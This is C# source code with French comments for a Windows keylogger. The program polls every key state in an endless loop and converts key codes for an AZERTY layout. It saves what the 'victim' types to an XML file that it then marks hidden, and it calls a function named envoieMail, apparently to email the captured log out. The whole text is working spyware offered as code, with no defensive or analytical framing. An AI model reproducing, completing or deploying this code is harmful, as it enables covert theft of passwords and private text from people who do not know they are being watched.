//Chargement des fichiers XML public static CollectionEnregistrement loadFromXML(string nomFichier) { //Fichier en mode ouverture FileStream file = File.Open(nomFichier, FileMode.Open); XmlSerializer serializer = new XmlSerializer(typeof(CollectionEnregistrement)); //Création de la collection en deserialisant le fichier CollectionEnregistrement collection_enregistrement = (CollectionEnregistrement)serializer.Deserialize(file); //Fermeture du fichier file.Close(); //On retourne la collection créée return(collection_enregistrement); }
//Constructeur public KeyLogger() { //initialisation du nombre de caractere nb_caractere_tape = 0; //Le temps d'attente est initialisé (En miliseconde) sleep_time = 3; //on initialise le temps d'inactivité maximum (En minute) temps_inactivite_max = 5; //On initialise la collection collection_enregistrement = new CollectionEnregistrement(); //Chemin pour enregistrer le fichier XML file_path = "Capture.xml"; }
public void capture() { //Création d'un objet Enregistrement qui contiendra le contenu de la capture clavier Enregistrement enregistrement = new Enregistrement(); //Booleen qui détermine si les touches sont activées bool majuscule = false; bool shift = false; bool ctrl = false; bool alt = false; bool altgr = false; //Initialisation du moment de la derniere activité de l'ordinateur de la victime DateTime date_dernier_activite = DateTime.Now; //Boucle "infinie" while (true) { //On test si la touche shift est enfoncée shift = (Control.ModifierKeys & Keys.Shift) == Keys.Shift; //On test si la Majuscule est activé majuscule = Control.IsKeyLocked(Keys.CapsLock); //On test si la touche ctrl est activée ctrl = (Control.ModifierKeys & Keys.Control) == Keys.Control; //On test si la touche alt cest activée alt = (Control.ModifierKeys & Keys.Alt) == Keys.Alt; //On test si la touche altgr est activé // CTRL + ALT altgr = (Control.ModifierKeys & Keys.Alt) == Keys.Alt && (Control.ModifierKeys & Keys.Control) == Keys.Control; //On fait dormir le programme un certaint temps car nous sommes dans une boucle infinie Thread.Sleep(sleep_time); //Verification de l'état de chaque touche for (int codeASCII = 0; codeASCII < 256; codeASCII++) { //Statut de la clé touche correspondant au codeASCII int statut_cle = GetAsyncKeyState(codeASCII); //Le statut d'un clé est a 0 si elle n'est pas active et est a 32769 si la touche est appuyée if (statut_cle == 32769) { //le temps d'innactivité est reinitialisé date_dernier_activite = DateTime.Now; //Chaine de caractère servant de pivot pour le traitement de certaines touches string valeurs; //Test sur le codeASCII pour lequel la condition est activée switch (codeASCII) { //Si touche Entrée ou cli souris case 1: case 2: case 13: //On ajoute l'enregistrement a la collection collection_enregistrement.ajouterNew(enregistrement); //On réinitialise l'enregistrement enregistrement = new Enregistrement(); break; //touche effacer case 8: if (alt == false) { enregistrement.effacerContenu(); } break; //touche espace case 32: if (alt == false) { enregistrement.ajouterContenu(" "); } break; //touche suppr case 46: break; case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: //Si les touches alt et ctrl on le meme statut //(true == true) => ALTGR ou (false == false) =>pas activé if (ctrl == alt) { if (majuscule == false & altgr == false & shift == false) { valeurs = "à&é\"'(-è_ç"; enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 48, 1)); } else { if (altgr == true) { valeurs = "@ ~#{[|`\\^"; enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 48, 1)); altgr = false; } else { valeurs = "0123456789"; enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 48, 1)); } } } break; //pavé numérique case 96: case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: //Si les touches alt et ctrl on le meme statut //(true == true) => ALTGR ou (false == false) =>pas activé if (ctrl == alt) { valeurs = "0123456789"; enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 96, 1)); } break; //Touches à côté du pavé numérique case 106: case 107: case 109: case 110: case 111: //Si les touches alt et ctrl on le meme statut //(true == true) => ALTGR ou (false == false) =>pas activé if (ctrl == alt) { valeurs = "*+ -./"; enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 106, 1)); } break; //verrouillage du pavé numerique case 144: break; //alt case 164: break; case 186: case 187: case 188: case 190: case 191: case 192: //Si les touches alt et ctrl on le meme statut //(true == true) => ALTGR ou (false == false) =>pas activé if (ctrl == alt) { valeurs = "$=, ;:ù£+? ./%¤}"; if ((majuscule != shift) & altgr == false) { enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 179, 1)); } else { if (altgr == true & (codeASCII == 186 | codeASCII == 187)) { enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 172, 1)); } else { enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 186, 1)); } } } break; case 219: case 220: case 221: case 222: case 223: //Si les touches alt et ctrl on le meme statut //(true == true) => ALTGR ou (false == false) =>pas activé if (ctrl == alt) { valeurs = ")*^²!°µ¨²§"; if ((majuscule != shift) & altgr == false) { enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 214, 1)); } else { if (altgr == true & codeASCII == 219) { enregistrement.ajouterContenu(("]")); } else { enregistrement.ajouterContenu(valeurs.Substring(codeASCII - 219, 1)); } } } break; //touches < et > case 226: //Si les touches alt et ctrl on le meme statut //(true == true) => ALTGR ou (false == false) =>pas activé if (ctrl == alt) { if (shift == false) { enregistrement.ajouterContenu("<"); } else { enregistrement.ajouterContenu(">"); } } break; //les fleches case 37: case 38: case 39: case 40: case 255: break; //ordre : azertyuiopqsdfghjklmwxcvbn case 65: case 90: case 69: case 82: case 84: case 89: case 85: case 73: case 79: case 80: case 81: case 83: case 68: case 70: case 71: case 72: case 74: case 75: case 76: case 77: case 87: case 88: case 67: case 86: case 66: case 78: //Si les touches alt et ctrl on le meme statut //(true == true) => ALTGR ou (false == false) =>pas activé if (ctrl == alt) { //Si les deux touches sont activées (true==true) ou aucune des deux (false == false) if (majuscule == shift) { //on ajoute le contenu en minuscule enregistrement.ajouterContenu(Char.ToLower((char)codeASCII).ToString()); } else { //on ajoute le contenu en majuscule enregistrement.ajouterContenu(Char.ToUpper((char)codeASCII).ToString()); } } break; default: break; } //On incrémente le nombre de caractère tapé nb_caractere_tape += 1; } //Si le nombre de caracteres tapés a dépassé la limite //Et si le temps d'innactivité a dépassé 5 minutes if (nb_caractere_tape > 100 && (DateTime.Now.Minute - date_dernier_activite.Minute == temps_inactivite_max || DateTime.Now.Minute - date_dernier_activite.Minute - 60 == temps_inactivite_max)) { //On ajoute l'enregistrement a la collection collection_enregistrement.ajouterNew(enregistrement); //On réinitialise l'enregistrement enregistrement = new Enregistrement(); //On enregistre le contenue en xml collection_enregistrement.saveToXml(file_path); //on cache le xml File.SetAttributes(file_path, FileAttributes.Hidden); //pour voir le xml panneau de configuration > Appareance et personalisation > afficher les fichiers et dossiers cachés > fichiers et dossiers cachés puis decocher la case //On reinitialise le nombre de caracteres nb_caractere_tape = 0; //On réinitialise la collection collection_enregistrement = new CollectionEnregistrement(); //envoie du mail envoieMail(); } } } }